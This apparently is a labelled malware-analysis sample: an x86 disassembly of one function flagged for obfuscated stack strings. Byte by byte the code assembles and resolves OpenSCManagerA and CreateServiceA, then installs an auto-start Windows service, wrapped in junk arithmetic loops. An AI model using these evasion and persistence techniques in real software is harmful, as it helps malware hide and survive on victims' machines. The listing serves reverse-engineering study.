Function at 0x401870
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x344c
call fcn.0040a6f0
push ebx
push ebp
push esi
push edi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x2058]
push 0x400
rep stosd dword es:[edi], eax
lea eax, [esp + 0x205c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, 0x419e40
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x419e40
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test eax, eax
jl 0x401c05
cmp eax, 0xfffffffa
jge 0x401c05
mov dword [esp + 0x14], 0
lea edi, [esp + 0x1054]
mov ebx, 0x400
lea eax, [esp + 0x10]
xor esi, esi
mov dword [esp + 0x10], eax
lea eax, [esi*4]
inc esi
cmp esi, 0x3ff
mov dword [esp + eax + 0x54], eax
jle 0x4018fd
call fcn.00406040
lea ecx, [esp + 0x10]
push ecx
push 0x4150a4
call fcn.00405ce0
call fcn.00405d30
mov edx, dword [esp + 0x18]
push 0x400
lea eax, [esp + 0x60]
push edx
push eax
call fcn.00406350
push 0x419e40
push 0x419e40
mov ebp, eax
call fcn.0040a360
add esp, 0x1c
test ebp, ebp
je 0x40195b
mov ecx, dword [ebp]
jmp 0x401974
mov edx, dword [esp + 0x10]
push 0x3ff
lea eax, [esp + 0x58]
push edx
push eax
call fcn.00406350
mov ecx, dword [eax]
add esp, 0xc
lea edx, [esp + 0x10]
mov dword [esp + esi*4 + 0x54], ecx
push edx
push 0x4150a4
call fcn.00405ce0
push 0x419e40
push 0x419e40
call fcn.0040a360
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea eax, [esp + 0x10]
push eax
push 0x4150a4
call fcn.00405ce0
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x5c]
push eax
push eax
push ecx
call fcn.00406350
mov eax, dword [esp + 0x24]
add esp, 0x14
lea edx, [esp + 0x54]
push 0x3ff
push eax
push 0x3ff
push eax
push edx
call fcn.00406350
add esp, 0xc
push eax
call fcn.00406350
mov esi, dword [eax]
push 0x3fb
lea eax, [esp + 0x1064]
push 8
push eax
call fcn.00406350
mov ecx, dword [eax]
add esp, 0x18
add edi, 4
dec ebx
lea edx, [ecx + esi*2]
mov dword [edi - 4], edx
jne 0x4018f3
call fcn.00405d30
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x3fa
lea eax, [esp + 0x1058]
push 0x53
push eax
call fcn.00406350
call fcn.00405d90
mov ecx, dword [esp + 0x20]
push 0x400
lea edx, [esp + 0x1064]
push ecx
push edx
call fcn.00406350
mov ebx, eax
lea eax, [esp + 0x2c]
push eax
push 0x4150a4
call fcn.00405ce0
add esp, 0x20
lea esi, [esp + 0x1068]
mov ebp, 0x3fe
push 0x19b
lea ecx, [esp + 0x1058]
push 0x363
push ecx
call fcn.00406350
add esp, 0xc
mov edi, eax
call fcn.00405d90
mov edx, dword [edi]
add esi, 4
dec ebp
lea eax, [edx + eax*2]
mov dword [esi - 4], eax
jne 0x401a6a
test ebx, ebx
je 0x401aa4
mov ecx, dword [ebx]
add ecx, 3
jmp 0x401ac0
mov edx, dword [esp + 0x14]
push 0x3ff
lea eax, [esp + 0x1058]
push edx
push eax
call fcn.00406350
mov ecx, dword [eax]
add esp, 0xc
mov eax, dword [esp + 0x14]
push 0x3c9
push eax
push 0x3ff
lea edx, [esp + 0x1060]
push eax
push edx
mov dword [esp + 0x2064], ecx
call fcn.00406350
add esp, 0xc
push eax
call fcn.00406350
lea eax, [esp + 0x1c]
add esp, 0xc
mov dword [esp + 0x10], eax
xor esi, esi
lea eax, [esi*4]
inc esi
cmp esi, 0x3ff
mov dword [esp + eax + 0x54], eax
jle 0x401afa
call fcn.00406040
lea ecx, [esp + 0x10]
push ecx
push 0x4150a4
call fcn.00405ce0
add esp, 8
call fcn.00405d00
mov eax, 0x417db8
mov edx, dword [eax - 4]
mov ecx, dword [eax]
cmp edx, ecx
jg 0x401b44
add eax, 4
cmp eax, 0x419db4
jl 0x401b2f
jmp 0x401b49
call fcn.00405d00
mov eax, dword [esp + 0x10]
push 0x400
lea ecx, [esp + 0x58]
push eax
push ecx
call fcn.00406350
push 0x419e40
push 0x419e40
mov edi, eax
call fcn.0040a360
add esp, 0x14
test edi, edi
je 0x401b79
mov edx, dword [edi]
jmp 0x401b92
mov eax, dword [esp + 0x10]
push 0x3ff
lea ecx, [esp + 0x58]
push eax
push ecx
call fcn.00406350
mov edx, dword [eax]
add esp, 0xc
lea eax, [esp + 0x10]
mov dword [esp + esi*4 + 0x54], edx
push eax
push 0x4150a4
call fcn.00405ce0
push 0x419e40
push 0x419e40
call fcn.0040a360
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea ecx, [esp + 0x10]
push ecx
push 0x4150a4
call fcn.00405ce0
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x5c]
push eax
push eax
push edx
call fcn.00406350
mov eax, dword [esp + 0x24]
add esp, 0x14
push 0x3ff
push eax
push 0x3ff
push eax
lea eax, [esp + 0x64]
push eax
call fcn.00406350
add esp, 0xc
push eax
call fcn.00406350
add esp, 0xc
mov al, 0x64
mov cl, 0x70
mov byte [esp + 0x25], al
mov byte [esp + 0x2d], al
mov byte [esp + 0x28], cl
mov al, 0x6c
mov byte [esp + 0x35], cl
lea ecx, [esp + 0x34]
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], al
lea edx, [esp + 0x24]
mov al, 0x6e
push ecx
push edx
mov byte [esp + 0x2c], 0x41
mov byte [esp + 0x2e], 0x76
mov byte [esp + 0x2f], 0x61
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x38], 0
mov byte [esp + 0x3c], 0x4f
mov byte [esp + 0x3e], 0x65
mov byte [esp + 0x3f], al
mov byte [esp + 0x40], 0x53
mov byte [esp + 0x41], 0x43
mov byte [esp + 0x42], 0x4d
mov byte [esp + 0x43], 0x61
mov byte [esp + 0x44], al
mov byte [esp + 0x45], 0x61
mov byte [esp + 0x46], 0x67
mov byte [esp + 0x47], 0x65
mov byte [esp + 0x48], 0x72
mov byte [esp + 0x49], 0x41
mov byte [esp + 0x4a], 0
call fcn.004076c0
add esp, 8
test eax, eax
je 0x401cba
push 0xf003f
push 0
push 0
call eax
mov edi, eax
mov dword [esp + 0x14], edi
jmp 0x401cbe
mov edi, dword [esp + 0x14]
test edi, edi
jne 0x401ccf
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x344c
ret
call fcn.0040a3e0
test eax, eax
jl 0x401e34
cmp eax, 0xfffffffb
jge 0x401e34
mov dword [esp + 0x18], 0
lea esi, [esp + 0x2458]
mov ebp, 0x400
push 0x3fb
lea eax, [esp + 0x245c]
push 8
push eax
call fcn.00406350
add esp, 0xc
mov edi, eax
call fcn.00405d90
mov ecx, dword [edi]
add esi, 4
dec ebp
lea edx, [ecx + eax*2]
mov dword [esi - 4], edx
jne 0x401cf9
call fcn.00405d00
mov eax, 0x417db8
mov ecx, dword [eax - 4]
mov edx, dword [eax]
cmp ecx, edx
jg 0x401d44
add eax, 4
cmp eax, 0x419db4
jl 0x401d2f
jmp 0x401d49
call fcn.00405d00
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x3fa
lea edx, [esp + 0x245c]
push 0x53
push edx
call fcn.00406350
call fcn.00405d90
mov eax, dword [esp + 0x24]
push 0x400
lea ecx, [esp + 0x2468]
push eax
push ecx
call fcn.00406350
lea edx, [esp + 0x30]
mov ebx, eax
push edx
push 0x4150a4
call fcn.00405ce0
add esp, 0x20
lea esi, [esp + 0x246c]
mov ebp, 0x3fe
push 0x19b
lea eax, [esp + 0x245c]
push 0x363
push eax
call fcn.00406350
add esp, 0xc
mov edi, eax
call fcn.00405d90
mov ecx, dword [edi]
add esi, 4
dec ebp
lea edx, [ecx + eax*2]
mov dword [esi - 4], edx
jne 0x401d9f
test ebx, ebx
je 0x401dd9
mov eax, dword [ebx]
add eax, 3
jmp 0x401df5
mov ecx, dword [esp + 0x18]
push 0x3ff
lea edx, [esp + 0x245c]
push ecx
push edx
call fcn.00406350
mov eax, dword [eax]
add esp, 0xc
mov dword [esp + 0x3454], eax
mov eax, dword [esp + 0x18]
push 0x3c9
push eax
push 0x3ff
lea ecx, [esp + 0x2464]
push eax
push ecx
call fcn.00406350
add esp, 0xc
push eax
call fcn.00406350
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call fcn.00405d90
mov edi, dword [esp + 0x14]
lea edx, [esp + 0x44]
lea eax, [esp + 0x24]
push edx
push eax
mov byte [esp + 0x24], 0x42
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], 0x73
mov byte [esp + 0x27], 0x65
mov byte [esp + 0x28], 0
mov byte [esp + 0x4c], 0x43
mov byte [esp + 0x4d], 0x72
mov byte [esp + 0x4e], 0x65
mov byte [esp + 0x4f], 0x61
mov byte [esp + 0x50], 0x74
mov byte [esp + 0x51], 0x65
mov byte [esp + 0x52], 0x53
mov byte [esp + 0x53], 0x65
mov byte [esp + 0x54], 0x72
mov byte [esp + 0x55], 0x76
mov byte [esp + 0x56], 0x69
mov byte [esp + 0x57], 0x63
mov byte [esp + 0x58], 0x65
mov byte [esp + 0x59], 0x41
mov byte [esp + 0x5a], 0
call fcn.004076c0
add esp, 8
test eax, eax
je 0x401edf
push 0
push 0
push 0
lea ecx, [esp + 0x28]
push 0
lea edx, [esp + 0x2068]
push ecx
push edx
push 0
push 2
push 0x10
push 0xf01ff
push 0x417d34
push 0x417d74
push edi
call eax
mov esi, eax
jmp 0x401ee3
mov esi, dword [esp + 0x18]
push 0x419e40
push 0x419e40
call fcn.0040a360
add esp, 8
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
test esi, esi
jne 0x401f0f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x344c
ret
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
call edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x344c
ret